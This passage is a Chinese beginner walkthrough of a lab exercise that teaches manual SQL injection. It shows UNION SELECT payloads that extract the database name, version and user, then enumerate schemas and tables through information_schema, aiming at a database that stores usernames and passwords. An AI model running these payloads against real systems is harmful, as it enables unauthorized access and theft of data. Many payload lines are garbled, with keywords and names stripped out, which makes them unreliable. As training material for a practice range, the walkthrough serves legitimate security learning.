墨者学院——入门SQL手工注入( 二 )


03.数据库爆破
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们需要要判断一下数据库的类型 。我们让2的位置显示()数据库名称,3的位置显示()版本号 。
页面提交:
:48917/.php?id=1 and 1=2 union1,(),(),4
数据库执行:
select * from news where id=1 and 1=2 union select 1,database(),version(),4
页面:

墨者学院——入门SQL手工注入

文章插图
同理还可以查询用户的名称
页面提交:
:48917/.php?id=1 and 1=2 union1,2,user(),4
数据库执行:
select * from news where id=1 and 1=2 union select 1,2,user(),4
页面:
墨者学院——入门SQL手工注入

文章插图
04.爆破得数据库名
页面提交:
:48917/.php?id=1 and 1=2 union1,,3,4 from . limit 0,1
数据库执行:
select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
页面:
墨者学院——入门SQL手工注入

文章插图
此时title位显示为
数据库是MySQL自带的,它提供了访问数据库元数据的方式 。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等 。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录” 。在MySQL中,把看作是一个数据库,确切说是信息数据库 。其中保存着关于MySQL服务器所维护的所有其他数据库的信息 。如数据库名,数据库的表,表栏的数据类型与访问权限等 。在中,有数个只读表 。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件 。
limit 0,1的意思是从第0行起的第1列数据,即为获得的第二个表名
以此类推分别查询limit 1,1
墨者学院——入门SQL手工注入

文章插图
limit 2,1
墨者学院——入门SQL手工注入

文章插图
limit 3,1
墨者学院——入门SQL手工注入

文章插图
limit 4,1
墨者学院——入门SQL手工注入

文章插图
limit 5,1时页面为空,说明一共是五个表,分别为
、oup、mysql、、sys
若想要一次性查询所有数据库的名称可采用下列语句
http://219.153.49.228:49363/new_list.php?id=1 and 1=2 UNION SELECT 1,database(),group_concat(schema_name),4 from information_schema.SCHEMA
页面:
墨者学院——入门SQL手工注入

文章插图
05.爆破得数据库表名
此处为了简便和起示范作用直接爆破目标数据库(就是储存了用户名和密码的数据库)
假设已知该数据库为oup
页面提交:
:48917/.php?id=1and 1=2 union1,,3,4 from . ='oup' limit 0,1
数据库执行:
select * from news where id=1 and 1=2 unionselect 1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
页面:
墨者学院——入门SQL手工注入

文章插图
在原来的标题上位置显示为,内容的位置显示为3
分析解说:查询对应数据库oup的第1个数据表名称,limit 0,1,第1个表名为 。
依次类推依次查询第二个
limit 1,1
墨者学院——入门SQL手工注入